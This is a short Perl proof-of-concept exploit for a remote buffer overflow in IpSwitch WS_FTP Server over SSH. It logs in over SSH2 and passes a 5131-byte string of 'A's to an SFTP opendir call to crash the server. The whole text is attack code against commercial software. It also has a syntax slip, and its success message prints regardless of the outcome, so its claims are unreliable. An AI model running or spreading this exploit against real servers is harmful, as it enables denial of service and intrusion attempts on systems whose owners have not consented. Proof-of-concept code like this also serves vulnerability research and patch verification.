#IpSwitch WS_FTPSERVER with SSH remote Buffer Overflow
#Here's the PoC :
use strict;
use Net::SSH2;
my $ip="127.0.0.1";
my $port=22;
my $user="USERNAME";
my $pass="PASSWORD";
my $ssh2 = Net::SSH2->new();
my $payload ="A" x 5131;
$ssh2->connect($ip, $port) || die "could not connect";
$ssh2->auth_password($user,$pass)|| die "wrong passwd/login";
print "Poc running …\n";
my $sftp = $ssh2->sftp
my $dir = $sftp->opendir($payload);
print "Buffer Overflow Successfull\n";
$ssh2->disconnect();
exit;